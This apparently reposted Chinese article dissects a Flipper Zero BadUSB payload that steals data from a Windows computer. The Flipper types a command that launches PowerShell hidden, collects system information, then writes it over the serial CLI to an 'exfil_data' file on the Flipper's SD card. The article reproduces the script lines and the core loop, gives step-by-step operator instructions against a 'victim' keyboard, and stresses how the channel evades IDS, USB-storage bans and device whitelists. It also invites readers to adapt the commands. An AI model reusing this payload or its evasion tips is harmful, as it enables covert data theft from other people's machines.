
Flipper Zero Save to Flipper用 BadUSB 脚本经串口 CLI 将数据回存到 SD 卡的技术剖析【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper本文围绕 save-to-flipper/readme.md 所描述的 Save to Flipper PoC 展开完整还原其BadUSB 部署 → 退出 BadUSB 模式 → 通过 COM 口驱动 Flipper 串口 CLI → 数据落盘到 SD 卡的完整链路。读完后你可以理解各变量$d/$BHID/$SUSB/$SPATH的取值含义、两个版本脚本latest.txt 与 latest_no_altstring.txt的逐行差异并能自行改编命令与落盘路径来适配自己的场景。方案背景为什么要把数据存回 Flipper该方案源于 FlipperZero 论坛中能否用 BadUSB 把文件存回 Flipper的讨论见 readme 原文说明由 emptythevoid 完成最初的 PoC再由 LupusE 将其完善成正式的示例 payload。其核心思路是一条 BadUSB 脚本在被注入目标 Windows 主机后并不通过 Webhook/Discord 外传数据也不依赖 U 盘存储设备而是等待 Flipper 本体退出 BadUSB 模式、恢复为正常的 USB 串口设备后用 PowerShell 内置的串口模块System.IO.Ports.SerialPort连接 Flipper 的 CLI把要外传的文本直接写入 Flipper SD 卡上的指定文件。为什么选择串口这条路径readme 中明确给出了该方法相对于常见外传exfiltration手段的独特之处这是本方案最值得理解的设计取舍外传通道常见规避手段本方案的对应优势Webhook / Discord可被 IDS、防火墙规则检测或阻断不产生网络流量天然规避U 盘USB Mass Storage可用策略禁止访问 USB 大容量存储设备不依赖 mass storage 驱动禁 U 盘策略对其无效COM 串口本方案COM 口被大量合法设备调试器、仪器仪表、转接板等使用很难针对性封禁流量特征合法化且可调整设备 ID 进一步绕过设备限制readme 原文指出基于 COM 口的流量much more problematic to block因为大量合法用途都会占用 COM 口且它不受禁止 mass storage 设备策略的影响还可以微调设备 IDdevice ID来进一步规避设备白名单类限制。自 PoC 以来的改进对比 save_to_flipper_poc/README.md 与 save_to_flipper_poc/save_to_flipper_fast.txt 这份原始 PoCv1.0标注Windows 10, not tested on Windows 11readme 列出了正式版latest.txt v1.1目标 Windows 10/11的四项改动脚本中可以一一对应找到证据波特率从 115200 提升到 230400readme 感谢 Caribou 的建议。PoC 的串口参数里是115200latest.txt 的核心一行中改成了230400。增加 Caps Lock 闪烁提示用于指示操作者此时应退出 BadUSB 模式见下文提示灯一节。默认以隐藏方式启动 PowerShellpowershell.exe -w h。用完整路径直接调用 powershell.exe绕过 Windows TerminalWindows 11 默认 Run 对话框会把powershell路由到 Windows Terminal直接给完整路径可避免这一层。同时提供 FASTSTRING与兼容性更好的 SLOWALTSTRING两个版本对应 latest_no_altstring.txt 与 latest.txt。Payload 逐段剖析以 latest.txt 为准第一步隐藏启动 PowerShell绕过 Windows Terminallatest.txt 的前半段完成部署REM Open Powershell DELAY 500 GUI r DELAY 500 REM Run Powershell by full path to avoid Windows Terminal. Launch hidden. STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w h DELAY 500 ENTER DELAY 750要点GUI r打开运行对话框STRING %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w h以完整路径启动 PowerShell-w h让窗口隐藏。脚本注释明确说明用完整路径是为了avoid Windows Terminal——PoC 版本里则是简单的STRING powershell并保留了一行被注释掉的STRING powershell -w h可选方案见 save_to_flipper_fast.txt。第二步定义三个关键变量latest.txt 中ENTER前注入的三组变量是整个方案的可配置核心ALTSTRING $d(Get-ComputerInfo|Out-String); ALTSTRING $BHIDHID\\VID_046D\PID_C529; ALTSTRING $SUSBUSB\\VID_0483\PID_5740; ALTSTRING $SPATH/ext/apps_data/exfil_data变量作用默认值 / 约束$d要外传的命令输出。readme 特别强调命令末尾必须加|Out-String把结果强制转成字符串示例为Get-ComputerInfo输出保存到/ext/apps_data/exfil_data$BHIDFlipper BadUSB 模式下的键盘HID设备 InstanceID 匹配串HID\\VID_046D\PID_C529$SUSBFlipper 正常模式下的串口设备 InstanceID 匹配串用于Get-PNPDevice查找 COM 口USB\\VID_0483\PID_5740$SPATHSD 卡上的落盘路径默认/ext/apps_data/exfil_datareadme 原文把两个设备 ID 变量写作$BHID和$BPID但从 latest.txt 的实际代码看串口匹配变量的真实命名是$SUSB$BHID匹配 HID 键盘设备$SUSB匹配 USB 串口设备。若你在 BadKB 或脚本里改过 BadUSB 的 VID/PID这两组值必须同步修改否则Flipper 退出 BadUSB 模式回到正常模式后PowerShell 找不到它也就不会写入数据脚本注释原话。仓库中 Wifi_DevBoard/apps_data/ 目录也印证了apps_data是 Flipper SD 卡上真实存在的存放应用数据的目录。第三步核心一行式循环——自动探测 COM 口并写入数据latest.txt 的第 37 行是整套机制的心脏ALTSTRING 1..600|%{Try{$pNew-Object System.IO.Ports.SerialPort(COM$(((Get-PNPDevice -PresentOnly|Where{$_.InstanceID -match $SUSB -and $_.Class -eq Ports}) -split COM)[1][0]),230400,None,8,one);$p.open();$p.Write(storage write $SPATH rn);$p.Write($d);$p.Write($([char] 3));$p.Close();exit}Catch{Sleep 1}}从源码结构拆解这一行做了五件事自动定位 Flipper 的 COM 口号Get-PNPDevice -PresentOnly | Where {$_.InstanceID -match $SUSB -and $_.Class -eq Ports}在当前存在的设备中查找 InstanceID 匹配USB\VID_0483PID_5740且设备类别为Ports的条目再用-split COM从 InstanceID 里切出 COM 端口号拼进COM$...。这一步就是 readme 所说的自动检测 Flipper 已退出 BadUSB 模式的判定依据——BadUSB 模式下 Flipper 呈现的是 HID 键盘HID\VID_046DPID_C529串口设备尚不存在只有操作者按 Back 退出 BadUSB 应用后USB\VID_0483PID_5740的串口设备才会出现循环才能成功打开串口。按 Flipper 串口参数打开 COM 口230400,None,8,one即 230400 波特率、无校验、8 数据位、1 停止位——与 readme 中波特率提升到 230400的改动一致PoC 版本此处是115200。驱动 Flipper CLI 写文件$p.Write(storage write $SPATHrn)先发送 Flipper CLI 的storage write /ext/apps_data/exfil_data命令storage write会把后续输入写入 SD 卡文件$p.Write($d)把$d里已求值好的命令输出整体写入$p.Write($([char] 3))发送 0x03CtrlC / ETX字符从源码结构看其作用是向 CLI 输入流发出终止信号结束storage write会话最后$p.Close(); exit关口并退出 PowerShell。轮询窗口1..600表示最多轮询 600 次每次Catch{Sleep 1}失败后等 1 秒重试PoC 版本在检测到 Flipper 只是被拔掉的分支中会等待 4 秒见下文 PoC 对照。成功即退出exit保证写入一次后立即结束不会重复写。第四步Caps Lock 闪烁——退出 BadUSB 模式的视觉信号latest.txt 末尾以 100ms 间隔连续切换 16 次CAPSLOCKREM Flash Capslock to indicate when to back out of BadUSB mode CAPSLOCK DELAY 100 CAPSLOCK ...共 16 次这是 readme 中Add capslock flashing to indicate when its time to exit BadUSB mode改动的落地受害者键盘的大小写指示灯闪烁数下后停止操作者看到灯灭即按 Back 退出 BadUSB 模式。由于整个写入依赖Flipper 恢复为串口设备这一前提这一步是流程中不可省略的人机交接点。两个版本FASTSTRING与兼容性版本ALTSTRINGreadme 的 STRING vs ALTSTRING 一节说明了两份脚本的定位两者结构完全相同唯一差异是变量定义与核心一行所采用的 Ducky 指令类型latest_no_altstring.txt变量与核心循环全部使用STRING见其 第 25-37 行按键速度快但依赖键盘布局在非 QWERTY 布局的主机上可能打出错误字符latest.txt同样内容改用ALTSTRING按住 Alt 模拟按键逐位映射 Unicode可以适配不同键盘布局但部署速度明显更慢。选型上可遵循 readme 的结论追求快速部署用STRING版跨布局兼容优先则用ALTSTRING版。使用步骤操作者视角完整继承 readme 的 Usage 一节标准操作流程如下用 USB 数据线把 Flipper 接到目标计算机在 Flipper 上运行该 BadUSB 脚本观察受害者键盘的 Caps Lock 灯——它会闪烁数次灯停闪后在 Flipper 上按足够多次 Back 键一直退回应用列表application list。readme 特别警告不做这一步it wont save the data数据不会保存因为 Flipper 仍处于 BadUSB 键盘模式串口设备尚未出现稍等片刻再拔下 Flipper。等待时间与外传数据量成正比——串口写入很慢在 SD 卡的/ext/apps_data/exfil_data查看落盘文件。已知局限与排错readme 的 Limitations 与 Note about early disconnection 两节给出了三个必须知晓的边界速度是主要短板通过串口驱动 Flipper CLI 存文件是slow的。小体量文本数据没有问题较大数据量的外传可能耗时可观使用步骤中等一会就源于此。存在疑似缓冲区大小限制readme 提到数据过大时会出现保存失败原文称This is being investigated当时仍在排查。改编脚本时应以小块文本输出做验证不要一次性塞入大段内容。传输中途拔线的后遗症如果 Flipper 在正在接收外传数据时被拔下Flipper 可能卡在串口 CLI 仍处于打开状态之后再连接 qFlipper 会报错。readme 给出的恢复方法很简单重启 Flipper 即可恢复正常。与原始 PoC 及仓库相关材料的对照仓库保留了完整的演进脉络适合作为排错时的参考基线原始 PoCsave_to_flipper_poc/save_to_flipper_fast.txt。它的 Catch 分支带有调试输出检测到$BHID存在时打印BadUSB、否则打印NoFZ并Start-Sleep 4即 第 37 行。这正是 save_to_flipper_poc/README.md 所说一个 payload 会输出 Flipper 状态BadUSB/NoFZ帮助你练习退出时机的调试版同一文件还附了一行更短的无调试、无 4 秒延迟的REM备用版。正式版 latest.txt 则把调试输出删掉、波特率升到 230400、失败分支简化为Catch{Sleep 1}。反向读取测试read_serial_tests/read_test.ps1 展示了同一串口通道的读方向——手动指定COM10、115200 打开串口发送storage read $SPATHStart-Sleep后用ReadExisting()取回内容并裁剪首尾空行后写到C:\users\用户名\Desktop\outfile.txt。它印证了storage write/storage read是 Flipper CLI 成对的 SD 卡存取命令也给出了波特率、校验位等参数的独立 PowerShell 写法ParityNone、DataBits8、StopBits1、ReadTimeout9000。同系列替代方案base64file_write_to_disk/base64file.txt 是同一作者emptythevoid-BadUSB 合集见 BadUSB/emptythevoid-BadUSB/ReadMe.md的另一条路——把文件 base64 分块经STRING打进主机 PowerShell再[IO.File]::WriteAllBytes写到桌面即存到主机磁盘而非存回 Flipper。其头注释同样提醒了分块与STRING_DELAY 100防缓冲区溢流的经验与 Save to Flipper 的缓冲区限制问题互为印证。适用环境与前提目标系统Windows 10 / 11latest.txt 头部注释REM Target: Windows 10, Windows 11。机制依赖Get-PNPDevicecmdlet 与System.IO.Ports串口模块两者在 Windows 10/11 上均默认可用。设备 ID 一致性$BHID/$SUSB必须与 Flipper 当前 BadUSB/串口呈现的 VID/PID 完全一致默认即脚本头注释中的HID\VID_046DPID_C529与USB\VID_0483PID_5740串口参数一致性波特率 230400、无校验、8 数据位、1 停止位与脚本注释REM The Baud rate (default is 230400)一致落盘位置$SPATH指向 SD 卡路径默认/ext/apps_data/exfil_data可改为其他 SD 卡上可写路径类别定位脚本头部标注REM Category: PoC它是一份概念验证材料而非产品化工具实际行为尤其是大文件写入的缓冲区行为以 readme 声明的局限为准。综上Save to Flipper 方案的价值在于把外传通道从易被识别的网络流量/U 盘换成了难以针对性封锁的 COM 口 Flipper 自带 CLI其代价是串口写入的速度与缓冲区约束。理解上述变量、设备 ID 匹配逻辑与 Caps Lock 交接时序后即可基于 latest.txt 改编出适合自己的命令与路径遇到没保存上时优先核对 Back 键退出时序、设备 ID 与波特率这三点。【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考